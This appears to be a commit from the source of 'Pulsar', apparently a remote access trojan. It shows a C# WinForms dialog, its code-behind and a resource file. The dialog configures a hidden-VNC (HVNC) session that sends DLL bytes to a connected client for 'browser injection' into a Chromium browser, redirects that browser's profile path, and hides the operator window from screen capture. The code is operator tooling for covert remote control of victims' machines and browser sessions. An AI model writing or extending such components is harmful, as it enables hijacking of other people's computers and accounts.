initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
+250
View File
@@ -0,0 +1,250 @@
namespace Pulsar.Server.Forms
{
partial class FrmHVNCPopUp
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
components = new System.ComponentModel.Container();
lblBrowserPath = new System.Windows.Forms.Label();
txtBrowserPath = new System.Windows.Forms.TextBox();
btnBrowse = new System.Windows.Forms.Button();
lblSearchPattern = new System.Windows.Forms.Label();
txtSearchPattern = new System.Windows.Forms.TextBox();
lblReplacementPath = new System.Windows.Forms.Label();
txtReplacementPath = new System.Windows.Forms.TextBox();
btnStart = new System.Windows.Forms.Button();
btnCancel = new System.Windows.Forms.Button();
groupBox1 = new System.Windows.Forms.GroupBox();
lblExample3 = new System.Windows.Forms.Label();
lblExample2 = new System.Windows.Forms.Label();
lblExample1 = new System.Windows.Forms.Label();
toolTip1 = new System.Windows.Forms.ToolTip(components);
lblNote = new System.Windows.Forms.Label();
groupBox1.SuspendLayout();
SuspendLayout();
//
// lblBrowserPath
//
lblBrowserPath.AutoSize = true;
lblBrowserPath.Location = new System.Drawing.Point(14, 17);
lblBrowserPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
lblBrowserPath.Name = "lblBrowserPath";
lblBrowserPath.Size = new System.Drawing.Size(139, 15);
lblBrowserPath.TabIndex = 0;
lblBrowserPath.Text = "Browser Executable Path:";
//
// txtBrowserPath
//
txtBrowserPath.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
txtBrowserPath.Location = new System.Drawing.Point(18, 36);
txtBrowserPath.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
txtBrowserPath.Name = "txtBrowserPath";
txtBrowserPath.Size = new System.Drawing.Size(572, 23);
txtBrowserPath.TabIndex = 1;
//
// btnBrowse
//
btnBrowse.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right;
btnBrowse.Location = new System.Drawing.Point(597, 33);
btnBrowse.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
btnBrowse.Name = "btnBrowse";
btnBrowse.Size = new System.Drawing.Size(88, 27);
btnBrowse.TabIndex = 2;
btnBrowse.Text = "Browse...";
btnBrowse.UseVisualStyleBackColor = true;
btnBrowse.Click += btnBrowse_Click;
//
// lblSearchPattern
//
lblSearchPattern.AutoSize = true;
lblSearchPattern.Location = new System.Drawing.Point(14, 74);
lblSearchPattern.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
lblSearchPattern.Name = "lblSearchPattern";
lblSearchPattern.Size = new System.Drawing.Size(113, 15);
lblSearchPattern.TabIndex = 3;
lblSearchPattern.Text = "String to Search For:";
//
// txtSearchPattern
//
txtSearchPattern.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
txtSearchPattern.Location = new System.Drawing.Point(18, 92);
txtSearchPattern.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
txtSearchPattern.Name = "txtSearchPattern";
txtSearchPattern.Size = new System.Drawing.Size(667, 23);
txtSearchPattern.TabIndex = 4;
//
// lblReplacementPath
//
lblReplacementPath.AutoSize = true;
lblReplacementPath.Location = new System.Drawing.Point(14, 130);
lblReplacementPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
lblReplacementPath.Name = "lblReplacementPath";
lblReplacementPath.Size = new System.Drawing.Size(127, 15);
lblReplacementPath.TabIndex = 5;
lblReplacementPath.Text = "String to Replace With:";
//
// txtReplacementPath
//
txtReplacementPath.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
txtReplacementPath.Location = new System.Drawing.Point(18, 149);
txtReplacementPath.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
txtReplacementPath.Name = "txtReplacementPath";
txtReplacementPath.Size = new System.Drawing.Size(667, 23);
txtReplacementPath.TabIndex = 6;
//
// btnStart
//
btnStart.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right;
btnStart.Location = new System.Drawing.Point(503, 353);
btnStart.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
btnStart.Name = "btnStart";
btnStart.Size = new System.Drawing.Size(88, 35);
btnStart.TabIndex = 7;
btnStart.Text = "Start";
btnStart.UseVisualStyleBackColor = true;
btnStart.Click += btnStart_Click;
//
// btnCancel
//
btnCancel.Anchor = System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right;
btnCancel.Location = new System.Drawing.Point(597, 353);
btnCancel.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
btnCancel.Name = "btnCancel";
btnCancel.Size = new System.Drawing.Size(88, 35);
btnCancel.TabIndex = 8;
btnCancel.Text = "Cancel";
btnCancel.UseVisualStyleBackColor = true;
btnCancel.Click += btnCancel_Click;
//
// groupBox1
//
groupBox1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
groupBox1.Controls.Add(lblNote);
groupBox1.Controls.Add(lblExample3);
groupBox1.Controls.Add(lblExample2);
groupBox1.Controls.Add(lblExample1);
groupBox1.ForeColor = System.Drawing.SystemColors.Control;
groupBox1.Location = new System.Drawing.Point(18, 190);
groupBox1.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
groupBox1.Name = "groupBox1";
groupBox1.Padding = new System.Windows.Forms.Padding(4, 3, 4, 3);
groupBox1.Size = new System.Drawing.Size(667, 156);
groupBox1.TabIndex = 9;
groupBox1.TabStop = false;
groupBox1.Text = "Examples";
//
// lblExample3
//
lblExample3.AutoSize = true;
lblExample3.ForeColor = System.Drawing.SystemColors.ControlLight;
lblExample3.Location = new System.Drawing.Point(12, 87);
lblExample3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
lblExample3.Name = "lblExample3";
lblExample3.Size = new System.Drawing.Size(214, 15);
lblExample3.TabIndex = 2;
lblExample3.Text = "Replacement Path: Local\\Vivaldi\\KDOT";
//
// lblExample2
//
lblExample2.AutoSize = true;
lblExample2.ForeColor = System.Drawing.SystemColors.ControlLight;
lblExample2.Location = new System.Drawing.Point(12, 58);
lblExample2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
lblExample2.Name = "lblExample2";
lblExample2.Size = new System.Drawing.Size(215, 15);
lblExample2.TabIndex = 1;
lblExample2.Text = "Search Pattern: Local\\Vivaldi\\User Data";
//
// lblExample1
//
lblExample1.AutoSize = true;
lblExample1.ForeColor = System.Drawing.SystemColors.ControlLight;
lblExample1.Location = new System.Drawing.Point(12, 29);
lblExample1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
lblExample1.Name = "lblExample1";
lblExample1.Size = new System.Drawing.Size(339, 15);
lblExample1.TabIndex = 0;
lblExample1.Text = "Browser Path: C:\\Program Files\\Vivaldi\\Application\\vivaldi.exe";
//
// lblNote
//
lblNote.AutoSize = true;
lblNote.ForeColor = System.Drawing.SystemColors.ControlLight;
lblNote.Location = new System.Drawing.Point(13, 111);
lblNote.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
lblNote.Name = "lblNote";
lblNote.Size = new System.Drawing.Size(231, 15);
lblNote.TabIndex = 3;
lblNote.Text = "Note: Do NOT put quotes around anything";
//
// FrmHVNCPopUp
//
AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
ClientSize = new System.Drawing.Size(699, 402);
Controls.Add(groupBox1);
Controls.Add(btnCancel);
Controls.Add(btnStart);
Controls.Add(txtReplacementPath);
Controls.Add(lblReplacementPath);
Controls.Add(txtSearchPattern);
Controls.Add(lblSearchPattern);
Controls.Add(btnBrowse);
Controls.Add(txtBrowserPath);
Controls.Add(lblBrowserPath);
Margin = new System.Windows.Forms.Padding(4, 3, 4, 3);
MinimumSize = new System.Drawing.Size(715, 441);
Name = "FrmHVNCPopUp";
StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
Text = "Generic Chromium Browser Configuration";
Load += FrmHVNCPopUp_Load;
groupBox1.ResumeLayout(false);
groupBox1.PerformLayout();
ResumeLayout(false);
PerformLayout();
}
#endregion
private System.Windows.Forms.Label lblBrowserPath;
private System.Windows.Forms.TextBox txtBrowserPath;
private System.Windows.Forms.Button btnBrowse;
private System.Windows.Forms.Label lblSearchPattern;
private System.Windows.Forms.TextBox txtSearchPattern;
private System.Windows.Forms.Label lblReplacementPath;
private System.Windows.Forms.TextBox txtReplacementPath;
private System.Windows.Forms.Button btnStart;
private System.Windows.Forms.Button btnCancel;
private System.Windows.Forms.GroupBox groupBox1;
private System.Windows.Forms.Label lblExample3;
private System.Windows.Forms.Label lblExample2;
private System.Windows.Forms.Label lblExample1;
private System.Windows.Forms.ToolTip toolTip1;
private System.Windows.Forms.Label lblNote;
}
}
@@ -0,0 +1,98 @@
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Networking;
using System;
using System.IO;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmHVNCPopUp : Form
{
private readonly Client _client;
private readonly byte[] _dllBytes;
public FrmHVNCPopUp(Client client, byte[] dllBytes)
{
_client = client;
_dllBytes = dllBytes;
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
}
private void btnBrowse_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*";
openFileDialog.Title = "Select Browser Executable";
openFileDialog.CheckFileExists = true;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
txtBrowserPath.Text = openFileDialog.FileName;
}
}
}
private void btnStart_Click(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(txtBrowserPath.Text))
{
MessageBox.Show("Please specify a browser executable path.", "Validation Error",
MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
if (string.IsNullOrWhiteSpace(txtSearchPattern.Text))
{
MessageBox.Show("Please specify a search pattern.", "Validation Error",
MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
if (string.IsNullOrWhiteSpace(txtReplacementPath.Text))
{
MessageBox.Show("Please specify a replacement path.", "Validation Error",
MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
_client.Send(new StartHVNCProcess
{
Path = "GenericChromium",
DontCloneProfile = false,
DllBytes = _dllBytes,
CustomBrowserPath = txtBrowserPath.Text.Trim(),
CustomSearchPattern = txtSearchPattern.Text.Trim(),
CustomReplacementPath = txtReplacementPath.Text.Trim()
});
MessageBox.Show(
$"Generic Chromium browser injection started.\n\n" +
$"Browser: {Path.GetFileName(txtBrowserPath.Text)}\n" +
$"Search: {txtSearchPattern.Text}\n" +
$"Replace: {txtReplacementPath.Text}",
"Browser Started",
MessageBoxButtons.OK,
MessageBoxIcon.Information
);
this.Close();
}
private void btnCancel_Click(object sender, EventArgs e)
{
this.Close();
}
private void FrmHVNCPopUp_Load(object sender, EventArgs e)
{
toolTip1.SetToolTip(txtBrowserPath, "Full path to the browser executable (e.g., C:\\Program Files\\Vivaldi\\Application\\vivaldi.exe)");
toolTip1.SetToolTip(txtSearchPattern, "String pattern to search for in browser paths (e.g., Local\\Vivaldi\\User Data)");
toolTip1.SetToolTip(txtReplacementPath, "String to replace the search pattern with (e.g., Local\\Vivaldi\\KDOT)");
}
}
}
@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="toolTip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
</root>